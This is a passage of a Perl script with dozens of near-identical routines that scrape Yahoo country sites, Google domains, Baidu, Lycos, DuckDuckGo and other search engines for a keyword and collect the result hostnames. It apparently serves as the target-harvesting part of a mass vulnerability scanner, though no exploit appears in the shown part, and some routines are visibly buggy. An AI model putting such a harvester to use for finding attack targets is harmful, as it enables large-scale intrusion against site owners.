  3784. for (my $i=1; $i<=500; $i+=10) {
  3785. my $search = ("http://BR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3786. my $res = &search_engine_query($search);
  3787. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3788. my $link = $1;
  3789. if ($link!~ /yahooBR/){
  3790. my @grep = &links($link);
  3791. push(@list,@grep);
  3792. }
  3793. }
  3794. }
  3795. return @list;
  3796. }
  3797.  
  3798. sub yahooAR() {
  3799. my @list;
  3800. my $key = $_[0];
  3801. for (my $i=1; $i<=500; $i+=10) {
  3802. my $search = ("http://AR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3803. my $res = &search_engine_query($search);
  3804. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3805. my $link = $1;
  3806. if ($link!~ /yahooAR/){
  3807. my @grep = &links($link);
  3808. push(@list,@grep);
  3809. }
  3810. }
  3811. }
  3812. return @list;
  3813. }
  3814.  
  3815. sub yahooNL() {
  3816. my @list;
  3817. my $key = $_[0];
  3818. for (my $i=1; $i<=500; $i+=10) {
  3819. my $search = ("http://NL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3820. my $res = &search_engine_query($search);
  3821. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3822. my $link = $1;
  3823. if ($link!~ /yahooNL/){
  3824. my @grep = &links($link);
  3825. push(@list,@grep);
  3826. }
  3827. }
  3828. }
  3829. return @list;
  3830. }
  3831.  
  3832. sub yahooDK() {
  3833. my @list;
  3834. my $key = $_[0];
  3835. for (my $i=1; $i<=500; $i+=10) {
  3836. my $search = ("http://DK.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3837. my $res = &search_engine_query($search);
  3838. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3839. my $link = $1;
  3840. if ($link!~ /yahooDK/){
  3841. my @grep = &links($link);
  3842. push(@list,@grep);
  3843. }
  3844. }
  3845. }
  3846. return @list;
  3847. }
  3848.  
  3849. sub yahooPH() {
  3850. my @list;
  3851. my $key = $_[0];
  3852. for (my $i=1; $i<=500; $i+=10) {
  3853. my $search = ("http://PH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3854. my $res = &search_engine_query($search);
  3855. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3856. my $link = $1;
  3857. if ($link!~ /yahooPH/){
  3858. my @grep = &links($link);
  3859. push(@list,@grep);
  3860. }
  3861. }
  3862. }
  3863. return @list;
  3864. }
  3865.  
  3866. sub yahooCL() {
  3867. my @list;
  3868. my $key = $_[0];
  3869. for (my $i=1; $i<=500; $i+=10) {
  3870. my $search = ("http://CL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3871. my $res = &search_engine_query($search);
  3872. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3873. my $link = $1;
  3874. if ($link!~ /yahooCL/){
  3875. my @grep = &links($link);
  3876. push(@list,@grep);
  3877. }
  3878. }
  3879. }
  3880. return @list;
  3881. }
  3882.  
  3883. sub yahooRU() {
  3884. my @list;
  3885. my $key = $_[0];
  3886. for (my $i=1; $i<=500; $i+=10) {
  3887. my $search = ("http://RU.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3888. my $res = &search_engine_query($search);
  3889. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3890. my $link = $1;
  3891. if ($link!~ /yahooRU/){
  3892. my @grep = &links($link);
  3893. push(@list,@grep);
  3894. }
  3895. }
  3896. }
  3897. return @list;
  3898. }
  3899.  
  3900. sub yahooCH() {
  3901. my @list;
  3902. my $key = $_[0];
  3903. for (my $i=1; $i<=500; $i+=10) {
  3904. my $search = ("http://CH.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3905. my $res = &search_engine_query($search);
  3906. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3907. my $link = $1;
  3908. if ($link!~ /yahooCH/){
  3909. my @grep = &links($link);
  3910. push(@list,@grep);
  3911. }
  3912. }
  3913. }
  3914. return @list;
  3915. }
  3916.  
  3917. sub yahooCO() {
  3918. my @list;
  3919. my $key = $_[0];
  3920. for (my $i=1; $i<=500; $i+=10) {
  3921. my $search = ("http://CO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3922. my $res = &search_engine_query($search);
  3923. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3924. my $link = $1;
  3925. if ($link!~ /yahooCO/){
  3926. my @grep = &links($link);
  3927. push(@list,@grep);
  3928. }
  3929. }
  3930. }
  3931. return @list;
  3932. }
  3933.  
  3934. sub yahooFI() {
  3935. my @list;
  3936. my $key = $_[0];
  3937. for (my $i=1; $i<=500; $i+=10) {
  3938. my $search = ("http://FI.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3939. my $res = &search_engine_query($search);
  3940. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3941. my $link = $1;
  3942. if ($link!~ /yahooFI/){
  3943. my @grep = &links($link);
  3944. push(@list,@grep);
  3945. }
  3946. }
  3947. }
  3948. return @list;
  3949. }
  3950.  
  3951. sub yahooRO() {
  3952. my @list;
  3953. my $key = $_[0];
  3954. for (my $i=1; $i<=500; $i+=10) {
  3955. my $search = ("http://RO.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3956. my $res = &search_engine_query($search);
  3957. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3958. my $link = $1;
  3959. if ($link!~ /yahooRO/){
  3960. my @grep = &links($link);
  3961. push(@list,@grep);
  3962. }
  3963. }
  3964. }
  3965. return @list;
  3966. }
  3967.  
  3968. sub yahooVE() {
  3969. my @list;
  3970. my $key = $_[0];
  3971. for (my $i=1; $i<=500; $i+=10) {
  3972. my $search = ("http://VE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3973. my $res = &search_engine_query($search);
  3974. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3975. my $link = $1;
  3976. if ($link!~ /yahooVE/){
  3977. my @grep = &links($link);
  3978. push(@list,@grep);
  3979. }
  3980. }
  3981. }
  3982. return @list;
  3983. }
  3984.  
  3985. sub yahooAT() {
  3986. my @list;
  3987. my $key = $_[0];
  3988. for (my $i=1; $i<=500; $i+=10) {
  3989. my $search = ("http://AT.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  3990. my $res = &search_engine_query($search);
  3991. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  3992. my $link = $1;
  3993. if ($link!~ /yahooAT/){
  3994. my @grep = &links($link);
  3995. push(@list,@grep);
  3996. }
  3997. }
  3998. }
  3999. return @list;
  4000. }
  4001.  
  4002. sub yahooPL() {
  4003. my @list;
  4004. my $key = $_[0];
  4005. for (my $i=1; $i<=500; $i+=10) {
  4006. my $search = ("http://PL.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4007. my $res = &search_engine_query($search);
  4008. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4009. my $link = $1;
  4010. if ($link!~ /yahooPL/){
  4011. my @grep = &links($link);
  4012. push(@list,@grep);
  4013. }
  4014. }
  4015. }
  4016. return @list;
  4017. }
  4018.  
  4019. sub yahooKR() {
  4020. my @list;
  4021. my $key = $_[0];
  4022. for (my $i=1; $i<=500; $i+=10) {
  4023. my $search = ("http://KR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4024. my $res = &search_engine_query($search);
  4025. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4026. my $link = $1;
  4027. if ($link!~ /yahooKR/){
  4028. my @grep = &links($link);
  4029. push(@list,@grep);
  4030. }
  4031. }
  4032. }
  4033. return @list;
  4034. }
  4035.  
  4036. sub yahooNZ() {
  4037. my @list;
  4038. my $key = $_[0];
  4039. for (my $i=1; $i<=500; $i+=10) {
  4040. my $search = ("http://NZ.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4041. my $res = &search_engine_query($search);
  4042. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4043. my $link = $1;
  4044. if ($link!~ /yahooNZ/){
  4045. my @grep = &links($link);
  4046. push(@list,@grep);
  4047. }
  4048. }
  4049. }
  4050. return @list;
  4051. }
  4052.  
  4053. sub yahooGR() {
  4054. my @list;
  4055. my $key = $_[0];
  4056. for (my $i=1; $i<=500; $i+=10) {
  4057. my $search = ("http://GR.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4058. my $res = &search_engine_query($search);
  4059. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4060. my $link = $1;
  4061. if ($link!~ /yahooGR/){
  4062. my @grep = &links($link);
  4063. push(@list,@grep);
  4064. }
  4065. }
  4066. }
  4067. return @list;
  4068. }
  4069.  
  4070. sub yahooPE() {
  4071. my @list;
  4072. my $key = $_[0];
  4073. for (my $i=1; $i<=500; $i+=10) {
  4074. my $search = ("http://PE.search.yahoo.com/search;_ylt=A0geu8nrPalPnkQAVmPrFAx.?p=".key($key)."&rd=r2&fr=yfp-t-501&fr2=sb-top&fp_ip=11&xargs=0&pstart=1&b=".$i);
  4075. my $res = &search_engine_query($search);
  4076. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4077. my $link = $1;
  4078. if ($link!~ /yahooPE/){
  4079. my @grep = &links($link);
  4080. push(@list,@grep);
  4081. }
  4082. }
  4083. }
  4084. return @list;
  4085. }
  4086.  
  4087. sub yahoo7(){
  4088. my @list;
  4089. my $key = $_[0];
  4090. my $b = 0;
  4091. for ($b=1; $b<=500; $b+=10) {
  4092. my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=utf-8");
  4093. my $res = &search_engine_query($search);
  4094. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4095. if ($1 !~ /yahoo7/){
  4096. my $link = $1;
  4097. my @grep = &links($link);
  4098. push(@list,@grep);
  4099. }
  4100. }
  4101. }
  4102. return @list;
  4103. }
  4104.  
  4105.  
  4106. sub clusty() {
  4107. my @list;
  4108. my $key = $_[0];
  4109. my $b = 0;
  4110. for ($b=10; $b<=500; $b+=10) {
  4111. my $search = ("http://search.yippy.com/search?query=".&key($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&");
  4112. my $res = &search_engine_query($search);
  4113. if ($res !~ /next/) {$b=500;}
  4114. while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) {
  4115. if ($1 !~ /yippy\.com/){
  4116. my $link = $1;
  4117. my @grep = &links($link);
  4118. push(@list,@grep);
  4119. }
  4120. }
  4121. }
  4122. return @list;
  4123. }
  4124.  
  4125. sub gutser() {
  4126. my @list;
  4127. my $key = $_[0];
  4128. for ($b=1; $b<=50; $b+=1) {
  4129. my $search = ("http://www.goodsearch.com/Search.aspx?Keywords=".&key($key)."&page=".$b."&osmax=0");
  4130. my $res = &search_engine_query($search);
  4131. while ($res =~ m/http:\/\/([^>\"]*)\">/g) {
  4132. if ($1 !~ /goodsearch|good\.is|w3\.org|quantserve/){
  4133. my $link = $1;
  4134. my @grep = &links($link);
  4135. push(@list,@grep);
  4136. }
  4137. }
  4138. }
  4139. return @list;
  4140. }
  4141.  
  4142. sub google2() {
  4143. my @list;
  4144. my $key = $_[0];
  4145. my $b = 0;
  4146. my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm");
  4147. foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
  4148. for ($b=1; $b<=200; $b+=10) {
  4149. my $search = ("http://www.google.".$dom."/search?num=50&q=".&key($key)."&start=".$b."&sa=N");
  4150. my $res = &search_engine_query($search);
  4151. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  4152. if ($1 !~ /google/){
  4153. my $link = $1;
  4154. my @grep = &links($link);
  4155. push(@list,@grep);
  4156. }
  4157. }
  4158. } return @list;
  4159. }
  4160. }
  4161.  
  4162. sub exalead() {
  4163. my @list;
  4164. my $key = $_[0];
  4165. for ($b=0; $b<=1000; $b+=100) {
  4166. my $search = ("http://www.exalead.com/search/web/results/?q=".&key($key)."&elements_per_page=100&start_index=".$b);
  4167. my $res = &search_engine_query($search);
  4168. if ($res =~ m/<span id=\"topNextUrl\">/g) {$b=1000;}
  4169. while ($res =~ m/<a class=\"thumbnail\" href=\"http:\/\/(.*?)\"/g) {
  4170. my $link = $1;
  4171. if ($link!~ /exalead/){
  4172. my @grep = &links($link);
  4173. push(@list,@grep);
  4174. }
  4175. }
  4176. }
  4177. return @list;
  4178. }
  4179.  
  4180. sub lycos() {
  4181. my @list;
  4182. my $key = $_[0];
  4183. for ($b=0; $b<=50; $b+=1) {
  4184. my $search = ("http://search.lycos.com/?query=".&key($key)."&page2=".$b."&tab=web&searchArea=web&diktfc=468007302EF7DB9AFE53D4138B848E7B4000D424385F");
  4185. my $res = &search_engine_query($search);
  4186. while ($res =~ m/href=\"http:\/\/(.+?)\" onmouseover=/g) {
  4187. if ($1 !~ /lycos\.com/){
  4188. my $link = $1;
  4189. my @grep = &links($link);
  4190. push(@list,@grep);
  4191. }
  4192. }
  4193. }
  4194. return @list;
  4195. }
  4196.  
  4197. sub virgilio() {
  4198. my @list;
  4199. my $key = $_[0];
  4200. for ($b=10; $b<=500; $b+=10) {
  4201. my $search = ("http://ricerca.virgilio.it/ricerca?qs=".&key($key)."&filter=1&site=&lr=&hits=10&offset=".$b);
  4202. my $res = &search_engine_query($search);
  4203. if ($res =~ m/non ha prodotto risultati/i) {$b=500;}
  4204. if ($res =~ m/riconducibile a richieste effettuate/i) {$b=500;}
  4205. while ($res =~ m/<a href=\"http:\/\/(.+?)\" target=\"/g) {
  4206. if ($1 !~ /\.virgilio\.it/){
  4207. my $link = $1;
  4208. my @grep = &links($link);
  4209. push(@list,@grep);
  4210. }
  4211. }
  4212. }
  4213. return @list;
  4214. }
  4215.  
  4216. sub webde() {
  4217. my @list;
  4218. my $key = $_[0];
  4219. for ($b=1; $b<=50; $b+=1) {
  4220. my $search = ("http://suche.web.de/search/web/?pageIndex=".$b."&su=".&key($key)."&search=Suche&webRb=countryDE");
  4221. my $res = &search_engine_query($search);
  4222. if ($res =~ m/Suchbegriff nicht gefunden/i) {$b=50;}
  4223. while ($res =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g) {
  4224. my $link = $1;
  4225. if ($link!~ /suche|web/){
  4226. my @grep = &links($link);
  4227. push(@list,@grep);
  4228. }
  4229. }
  4230. }
  4231. return @list;
  4232. }
  4233.  
  4234. sub hotbot() {
  4235. my @list;
  4236. my $key = $_[0];
  4237. for ($b=0; $b<=50; $b+=1) {
  4238. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  4239. my $res = &search_engine_query($search);
  4240. if ($res =~ m/had no web result/i) {$b=50;}
  4241. while ($res =~ m/rel=\"nofollow\" href=\"http:\/\/(.+?)\"/g) {
  4242. if ($1 !~ /hotbot\.com/){
  4243. my $link = $1;
  4244. my @grep = &links($link);
  4245. push(@list,@grep);
  4246. }
  4247. }
  4248. }
  4249. return @list;
  4250. }
  4251.  
  4252. sub aol() {
  4253. my @list;
  4254. my $key = $_[0];
  4255. for ($b=2; $b<=50; $b+=1) {
  4256. my $search = ("http://aim.search.aol.com/aol/search?q=".&key($key)."&page=".$b);
  4257. my $res = &search_engine_query($search);
  4258. while ($res =~ m/href=\"http:\/\/(.*?)\" property/g) {
  4259. if ($1 !~ /aol\.com/){
  4260. my $link = $1;
  4261. my @grep = &links($link);
  4262. push(@list,@grep);
  4263. }
  4264. }
  4265. }
  4266. return @list;
  4267. }
  4268.  
  4269. sub sapo(){
  4270. my @list;
  4271. my $key = $_[0];
  4272. for ($b=1; $b<=50; $b+=1) {
  4273. my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".&key($key)."&st=local");
  4274. my $res = &search_engine_query($search);
  4275. if ($res !~ m/Next/i) {$b=50;}
  4276. while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) {
  4277. if ($1 !~ /\.sapo\.pt/){
  4278. my $link = $1;
  4279. my @grep = &links($link);
  4280. push(@list,@grep);
  4281. }
  4282. }
  4283. }
  4284. return @list;
  4285. }
  4286.  
  4287. sub duck() {
  4288. my @list;
  4289. my $key = $_[0];
  4290. my $b = 0;
  4291. for ($b=1; $b<=50; $b+=1) {
  4292. my $search = ("http://duckduckgo.com/html/?q=".&key($key)."&t=A&l=en&p=1&s=".$b."&o=json&dc=".$b."&api=d.js");
  4293. my $res = &search_engine_query($search);
  4294. if ($res =~ m/No more results/i) {$b=50;}
  4295. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4296. if ($1 !~ /duckduckgo/){
  4297. my $link = $1;
  4298. my @grep = &links($link);
  4299. push(@list,@grep);
  4300. }
  4301. }
  4302. }
  4303. return @list;
  4304. }
  4305.  
  4306. sub lygo() {
  4307. my @list;
  4308. my $key = $_[0];
  4309. my $b = 0;
  4310. for ($b=0; $b<=50; $b+=1) {
  4311. my $search = ("http://www.hotbot.com/?query=".&key($key)."&ps=&loc=searchbox&tab=web&mode=search&currProv=lygo&page2=".$b."&diktfc=51964BFDE35DFB6914F9E1E0D7988C3AC0ACB52B58BE");
  4312. my $res = &search_engine_query($search);
  4313. if ($res =~ m/had no web result/i) {$b=50;}
  4314. while ($res =~ m/<a href=\"http:\/\/(.+?)\"><img/g) {
  4315. if ($1 !~ /hotbot\.com/){
  4316. my $link = $1;
  4317. my @grep = &links($link);
  4318. push(@list,@grep);
  4319. }
  4320. }
  4321. }
  4322. return @list;
  4323. }
  4324.  
  4325. sub yause() {
  4326. my @list;
  4327. my $key = $_[0];
  4328. my $b = 0;
  4329. for ($b=1; $b<=50; $b+=1) {
  4330. my $search = ("http://www.yauba.com/?query=".&key($key)."&where=websites&target=websites&con=y&ilang=english&clt=topic&pg=".$b);
  4331. my $res = &search_engine_query($search);
  4332. if ($res !~ m/Next/i) {$b=50;}
  4333. while ($res =~ m/<h1><a rel=\"nofollow\" href=\"http:\/\/(.+?)\" onfocus=/g) {
  4334. if ($1 !~ /yauba\.com/){
  4335. my $link = $1;
  4336. my @grep = &links($link);
  4337. push(@list,@grep);
  4338. }
  4339. }
  4340. }
  4341. return @list;
  4342. }
  4343.  
  4344. sub baidu() {
  4345. my @list;
  4346. my $key = $_[0];
  4347. my $b = 0;
  4348. for ($b=0; $b<=500; $b+=10) {
  4349. my $search = ("http://www.baidu.com/s?wd=".&key($key)."&pn=".$b);
  4350. my $res = &search_engine_query($search);
  4351. while ($res =~ m/\" href=\"http:\/\/(.*?)\" target=/g) {
  4352. if ($1 !~ /baidu\.com/){
  4353. my $link = $1;
  4354. my @grep = &links($link);
  4355. push(@list,@grep);
  4356. }
  4357. }
  4358. }
  4359. return @list;
  4360. }
  4361.  
  4362. sub kipot() {
  4363. my @list;
  4364. my $key = $_[0];
  4365. my $b = 0;
  4366. for ($b=1; $b<=50; $b+=1) {
  4367. my $search = ("http://www.qkport.com/".$b."/web/".&key($key));
  4368. my $res = &search_engine_query($search);
  4369. while ($res =~ m/href=\"http:\/\/(.*?)\" target=\"_top\"/g) {
  4370. if ($1 !~ /qkport\.com/){
  4371. my $link = $1;
  4372. my @grep = &links($link);
  4373. push(@list,@grep);
  4374. }
  4375. }
  4376. }
  4377. return @list;
  4378. }
  4379.  
  4380. sub gibla() {
  4381. my @list;
  4382. my $key = $_[0];
  4383. my $b = 0;
  4384. for ($b=1; $b<=1000; $b+=100) {
  4385. my $search = ("http://www.gigablast.com/search?q=".&key($key)."&n=".$b."");
  4386. my $res = &search_engine_query($search);
  4387. while ($res =~ m/http:\/\/(.+?)\//g) {
  4388. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  4389. }
  4390. }
  4391. return @list;
  4392. }
  4393.  
  4394. sub black() {
  4395. my @list;
  4396. my $key = $_[0];
  4397. my $b = 0;
  4398. for ($b=0; $b<=50; $b+=1) {
  4399. my $search = ("http://blekko.com/ws/".&key($key)."?ft=&p=".$b);
  4400. my $cek = $b+1;
  4401. my $res = &search_engine_query($search);
  4402. if ($res !~ m/<strong>$b<\/strong>/i) {$b=50;}
  4403. while ($res =~ m/class=\"UrlTitleLine\" href=\"http:\/\/(.+?)\"/g) {
  4404. if ($1 !~ /blekko/){
  4405. my $link = $1;
  4406. my @grep = &links($link);
  4407. push(@list,@grep);
  4408. }
  4409. }
  4410. }
  4411. return @list;
  4412. }
  4413.  
  4414. sub onet() {
  4415. my @list;
  4416. my $key = $_[0];
  4417. my $b = 0;
  4418. for ($b=1; $b<=50; $b+=1) {
  4419. my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".&key($key));
  4420. my $res = &search_engine_query($search);
  4421. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4422. if ($1 !~ /webcache|query/){
  4423. my $link = $1;
  4424. my @grep = &links($link);
  4425. push(@list,@grep);
  4426. }
  4427. }
  4428. }
  4429. return @list;
  4430. }
  4431.  
  4432. sub sizuka() {
  4433. my @list;
  4434. my $key = $_[0];
  4435. my $b = 0;
  4436. for ($b=10; $b<=100; $b+=10) {
  4437. my $search = ("http://www.szukacz.pl/szukaj.aspx?ct=polska&pc=polska&q=".&key($key)."&start=".$b);
  4438. my $res = &search_engine_query($search);
  4439. while ($res =~ m/<a title=\"http:\/\/(.+?)\"/g) {
  4440. if ($1 !~ /szukacz/){
  4441. my $link = $1;
  4442. my @grep = &links($link);
  4443. push(@list,@grep);
  4444. }
  4445. }
  4446. }
  4447. return @list;
  4448. }
  4449.  
  4450. sub walla() {
  4451. my @list;
  4452. my $key = $_[0];
  4453. my $b = 0;
  4454. for ($b=0; $b<=50; $b+=1) {
  4455. my $search = ("http://search.walla.co.il/?t=0&e=utf&q=".&key($key)."&p=".$b);
  4456. my $res = &search_engine_query($search);
  4457. while ($res =~ m/<td class=sw><a href=\"http:\/\/(.+?)\"/g) {
  4458. if ($1 !~ /walla\.co\.il/){
  4459. my $link = $1;
  4460. my @grep = &links($link);
  4461. push(@list,@grep);
  4462. }
  4463. }
  4464. }
  4465. return @list;
  4466. }
  4467.  
  4468. sub demos() {
  4469. my @list;
  4470. my $key = $_[0];
  4471. my $b = 0;
  4472. for ($b=0; $b<=500; $b+=10) {
  4473. my $search = ("http://search.dmoz.org/search/search?q=".&key($key)."&start=".$b."&type=next&all=yes");
  4474. my $res = &search_engine_query($search);
  4475. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4476. if ($1 !~ /search|dmoz/){
  4477. my $link = $1;
  4478. my @grep = &links($link);
  4479. push(@list,@grep);
  4480. }
  4481. }
  4482. }
  4483. return @list;
  4484. }
  4485.  
  4486. sub rose() {
  4487. my @list;
  4488. my $key = $_[0];
  4489. my $b = 0;
  4490. my @langs = ("de","nl","fi","ps","da","en","es","fr","it","no","sv","cs","pl","ru");
  4491. foreach my $language (@langs) { $lang = $langs[rand(scalar(@langs))];
  4492. for ($b=0; $b<=30; $b+=10) {
  4493. my $search = ("http://euroseek.com/system/search.cgi?language=".$lang."&mode=internet&start=".$b."&string=".&key($key));
  4494. my $res = &search_engine_query($search);
  4495. while ($res =~ m/<a href=\"http:\/\/(.+?)\" class=/g) {
  4496. if ($1 !~ /euroseek/){
  4497. my $link = $1;
  4498. my @grep = &links($link);
  4499. push(@list,@grep);
  4500. }
  4501. }
  4502. }
  4503. }return @list;
  4504. }
  4505.  
  4506. sub seznam() {
  4507. my @list;
  4508. my $key = $_[0];
  4509. for ($b=1; $b<=500; $b+=10) {
  4510. my $search = ("http://search.seznam.cz/?q=".&key($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b);
  4511. my $res = &search_engine_query($search);
  4512. while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) {
  4513. if ($1 !~ /seznam/){
  4514. my $link = $1;
  4515. my @grep = &links($link);
  4516. push(@list,@grep);
  4517. }
  4518. }
  4519. }
  4520. return @list;
  4521. }
  4522.  
  4523. sub tiscali() {
  4524. my @list;
  4525. my $key = $_[0];
  4526. for ($b=0; $b<=500; $b+=10) {
  4527. my $search = ("http://search.tiscali.it/?tiscalitype=web&collection=web&start=".$b."&q=".&key($key));
  4528. my $res = &search_engine_query($search);
  4529. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  4530. if ($1 !~ /tiscali/){
  4531. my $link = $1;
  4532. my @grep = &links($link);
  4533. push(@list,@grep);
  4534. }
  4535. }
  4536. }
  4537. return @list;
  4538. }
  4539.  
  4540. sub naver() {
  4541. my @list;
  4542. my $key = $_[0];
  4543. for ($b=1; $b<=500; $b+=10) {
  4544. my $search = ("http://web.search.naver.com/search.naver?where=webkr&query=".&key($key)."&docid=0&#9001;=all&f=&srcharea=all&st=s&fd=2&start=".$b."&display=10");
  4545. my $res = &search_engine_query($search);
  4546. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4547. if ($1 !~ /naver/){
  4548. my $link = $1;
  4549. my @grep = &links($link);
  4550. push(@list,@grep);
  4551. }
  4552. }
  4553. }
  4554. return @list;
  4555. }
  4556.  
  4557. sub live {
  4558. my $key = $_[0];
  4559. my @list;
  4560. my $num = 50; my $max = 5000; my $p;
  4561. my $search = "http://search.live.com/results.aspx?q=".&key($key)."&go";
  4562. my $msearch = "http://search.live.com";
  4563. my $nxsearch;
  4564. my $res = search_engine_query($search);
  4565. if ( $res =~ /<a class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  4566. my $nxsearch = $1;
  4567. }
  4568. while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  4569. my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
  4570. }
  4571. for ( $p=0;$p<=$max;$p += $num ) {
  4572. $nxsearch = $msearch.htmltosearch($1)."&go";
  4573. $res = search_engine_query("http://search.live.com/results.aspx?q=".&key($key)."&first=".$p."&FORM=PORE");
  4574. while ( $res =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  4575. my $l = $1 ; if ($l !~ /google/) { push (@list, $l); }
  4576. }
  4577. }
  4578. return @list;
  4579. }
  4580.  
  4581. sub rakuten() {
